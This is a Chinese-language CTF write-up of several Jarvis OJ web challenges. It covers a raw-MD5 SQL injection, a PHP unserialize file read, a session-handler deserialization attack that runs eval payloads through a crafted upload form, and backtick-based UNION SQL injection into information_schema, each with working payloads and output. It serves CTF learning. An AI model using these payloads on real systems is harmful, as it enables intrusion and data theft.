WriteUp 中所有内容和知识点均来源于参考资料的师傅们。

Login 250

题目是一个登陆框,输入密码,输错会报错。
抓包,发现返回包有

1
2
3
Perl/v5.16.3
X-Powered-By: PHP/5.6.21
Hint: "select * from `admin` where password='".md5($pass,true)."'"

考点:md5 和 sql 语句可以利用16进制的特性,构造特殊的项查找注入
参考:
https://blog.csdn.net/greyfreedom/article/details/45846137?utm_source=blogxgwz7
MD5加密后的SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
MD5加密后的SQL注入。
其中最主要的就是md5()函数,当第二个参数为true时,会返回16字符的二进制格式。当为false的时候,返回的就是32字符十六进制数。默认的是false模式。具体的差别通过下面这个代码来看。


1 md5("123456"); //e10adc3949ba59abbe56e057f20f883e
2 md5("123456",true); //� �9I�Y��V�W��>

ffifdyop = 'or'<trash>

md5(str,true)之后的值是包含了'or'<trash>这样的字符串,那么sql语句就是 password=''or'6<trash>'

PCTF{R4w_md5_is_d4ng3rous}

神盾局的秘密 300

题目是个图片。访问一下。抓包,看到返回的包有

1
2
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
c2hpZWxkLmpwZw== 解密出来是 shield.jpg

抓包访问一下,返回包里面有一大堆 JEIF 开头的数据乱码数据。
这应该是打印出的 shield.jpg 里的数据。这里就是一个php文件包含漏洞。意思是把其他文件用base64加密,也能然后当成img的参数,也能打印出别的文件的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
这里尝试把 showimg.php 加密 c2hvd2ltZy5waHA=
发包
GET /showimg.php?img=c2hvd2ltZy5waHA= HTTP/1.1
...

得到返回
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
这里判断了 pctf 是否出现在img的参数中,也就是把pctf关键字过滤了。
stripos 定义和用法
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

这里看到,有个 pctf,尝试加密后,访问一下试试。结果file not found。那么继续看看Index.php的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

unserialize() 函数
用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

在这个index.php可以得到:
通过 GET 得到一个 class 参数给 g,然后把 g unserialize 反序列化。
然后通过 x变量去读取文件。x 是一个Shield() 类。
继续试试读取 shield.php 试试看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
shield.php 加密 c2hpZWxkLnBocA==
得到
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
这里定义了Shield类,并说flag就在pctf.php中,前面说到把 pctf关键字过滤了。

那么怎么办?
前面看到 Index.php 中,可以通过 x 变量去读文件。前提是 g 是一个序列化的参数。
g 通过 GET class 得到。注意 x 是一个 Shield 类,上面可以看到 Shield 类中有个 $file 参数,那么就可以构造 $file =”pctf.php”。

但,前提是 pctf.php 是做为 Shield 类的参数,包含在 x 变量中。x 变量后续要被反序列化读出来。那必须先把 Shield 类带上参数 pctf.php,然后进行序列化。

1
2
3
php 序列化函数 serialize() 函数:   
serialize() 函数用于序列化对象或数组,并返回一个字符串。
serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变

那么需要将 Shield 类带上 pctf参数后,序列化处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}

$x = new Shield("pctf.php");
$serialized_data = serialize($x);
echo $serialized_data;
?>

将上面的脚本放到kali下,安装Php环境,执行一下,输出的就是序列化的结果了。

1
2
3
4
5
6
7
8
9
10
11
12
13
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
访问: index.php?class = xxxxx
发包
GET /index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
...

得到
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

参考:
https://www.jianshu.com/p/d5b6fc7d7966
https://www.runoob.com/php/php-serialize-function.html

RE? 300

题目给了一个so文件,upx加密过。解密出错。查资料,可以得 udf.so 文件可以加到 mysql 数据库。
参考:https://blog.csdn.net/lidan3959/article/details/17264405
这个题主要是先打个环境,带mysql的linux环境。在kali下使用docker来。

1
2
3
4
etc/apt/sources.list 添加源
deb https://apt.dockerproject.org/repo debian-stretch main

apt-get update

PCTF{Interesting_U5er_d3fined_Function}
环境太难搭了。放弃。
https://www.cnblogs.com/sijidou/p/10522972.html

PHPINFO 300

访问题目提供了如下的代码。php序列化的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

看样子,应该是利用 OowoO 类给 mdzz 传递参数,通过 eval($this->mdzz) 进行数据读取。那么可能就要把 OowoO 进行序列化操作。

查资料得:
这题的考点是 php 存取 $_SESSION 数据时会对数据进行序列化和反序列化,php 内置了多种处理器用于存取 SESSION 。
常用的有以下三种

1
2
3
4
5
处理器	             对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize
(php>=5.5.4) 经过 serialize() 函数反序列处理的数组

配置选项 session.serialize_handler

PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器:

1
session.serialize_handler	"php"	PHP_INI_ALL

安全隐患

通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据:)

1
$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';

例如上面的 SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:

1
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

1
2
3
4
5
6
// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (0) {
}
}

可以看到,通过注入 | 字符伪造了对象的序列化数据,成功实例化了 stdClass 对象:)

解题

通过 phpinfo 页面,我们知道 php.ini 中默认 session.serialize_handlerphp_serialize ,而 index.php 中将其设置为 php 。这就导致了 seesion的反序列化问题。

session.upload_progress.enabledOn。当一个上传在处理中,同时 POST 一个与 INI 中设置的 session.upload_progress.name 同名变量时,当 PHP 检测到这种 POST请求时,它会在 $_SESSION 中添加一组数据。所以可以通过 Session Upload Progress 来设置 session

我们需要自己构建一个上传操作。代码如下。

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

把上述的代码保存为html,通过 PHP_SESSION_UPLOAD_PROGRESS 设置 session
下面需要进行序列化操作。需要序列化的是 OowoO 类,写法如下。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz = 'xxx';
}
$x = new OowoO();
$serialized_data = serialize($x);
echo $serialized_data;
?>

这里需要给 mdzz 复制一个命令,这个命令要用来读取数据。
print_r(scandir(dirname(FILE)));

  • 打印出web根目录下所有文件。
    1
    2
    3
    4
    5
    6
    7
    8
    print_r()         函数用于打印变量,以更容易理解的形式展示。   
    scandir($x) 列出 $x 目录中的文件和目录
    __FILE__ 是当前脚本的绝对路径
    dirname(__FILE__) 获得脚本所在目录的绝对路径

    https://www.runoob.com/php/php-print_r-function.html
    https://www.w3school.com.cn/php/func_directory_scandir.asp
    https://www.awaimai.com/408.html

所以

1
2
3
$mdzz = 'print_r(scandir(dirname(__FILE__)));';
运行脚本得到
O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防止转义,在引号前加上\。

1
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

利用前面的html页面随便上传一个东西,抓包,把filename改为如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发包的重要部分如下:
Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"

得到返回:
</code>Array
(
[0] => .
[1] => ..
[2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
[3] => index.php
[4] => phpinfo.php
)
这3个php文件是在同目录下

有个 Here_1s_7he_fl4g_buT_You_Cannot_see.php ,那么接下来就是去读这个文件。
根据phpinfo可以得到文件的存放路径:

1
2
_SERVER["SCRIPT_FILENAME"]	 /opt/lampp/htdocs/index.php
路径 path = /opt/lampp/htdocs/

那么给 mdzz 重新赋值,用来读文件。

1
2
3
file_get_contents() 以字符串形式获取文件的内容。
$mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
https://www.php.net/manual/zh/function.file.php

重新序列化一下,得到

1
2
3
4
5
6
7
8
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
加 |,然后加 \ 避免 双引号被转义
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

发包得到
</code><?php
$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";
?>

参考链接:
https://gist.github.com/chtg/f74965bfea764d9c9698
https://xz.aliyun.com/t/3017

inject 300

题目提示先找到源码。那么源码泄露的方式都试一把。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
在CTF中,备份文件这个考点经常出现,而在对网站进行修改或者升级过程中也会生成备份文件,如果这些文件未及时删除,而且文件又能被访问到时,就很有可能被恶意下载,利用。
常见格式:
.php~
.un~
.swp
.rar
.zip
.7z
.tar
.gz
.tar.gz
.~
.bak
.txt
.html
.vim
.swn
.swo
.old
参考:http://sunu11.com/2017/04/28/11/

最后访问 Index.php~ 得到源码。

1
2
3
4
5
6
7
8
9
10
11
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];

mysqli_query() 函数执行某个针对数据库的查询。
?>

这里存在注入,即是secret_{$table} 可控。数据从table来。
但是注意,这里注入成功的条件。

  1. desc `secret_{$table} 这条语句要能先能执行成功
  2. select ‘flag{xxx}’ from secret_{$table} 这条语句用来查询想要的数据

仔细观察,可以看到 secret_{$table} 这里用到了 反引号 :`
需要明白反引号这里的用法。参考:https://www.jianshu.com/p/36363f4190df
简单的说,反引号用来标识mysql中保留字作为普通字段来解析。比如

1
2
SELECT `select` from `test` WHERE `select`='字段值';
在test表中,有个select字段,如果不用反引号,MYSQL将把select视为保留字而导致出错

如果这样写

1
2
SELECT `select` `aaa` from `test` WHERE `select`='字段值';
表明 aaa 是 select 字段的别名,也是正确的。

那么这里构造

1
2
3
4
5
6
7
8
desc `secret_test` `union select database() ` 
因为回显只有一行 flag{xxx} ,那么用 limit 1,1 限制输出就行。
所以构造
table=test` `union select database() limit 1,1
则得到
desc `secret_test` `union select database() limit 1,1`
结合第2句的select 就成联合查询,如下。
select 'flag{xxx}' from secret_test` `union select database() limit 1,1"

注意在浏览器中输入这句,空格会被转移为 %20 ,说明对空格有过滤。

1
2
3
4
发包:
?table=test`%20`union%20select%20database()%20limit%201,1
得到数据库名
61d300

查表

1
2
3
4
table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1

得到
secret_flag,secret_test

查列

1
2
3
4
5
6
7
8
9
table=test` `union select group_concat(column_name) from information_schema.columns where table_name="secret_flag" limit 1,1
这句不会执行成功。因为单双引号都被过滤,那么用十六进制数来指定表名。

secret_flag = 0x7365637265745f666c6167


table=test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
得到
flagUwillNeverKnow

查数据

1
2
3
4
table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1


flag{luckyGame~}

参考:
https://blog.csdn.net/qq_38780085/article/details/79905892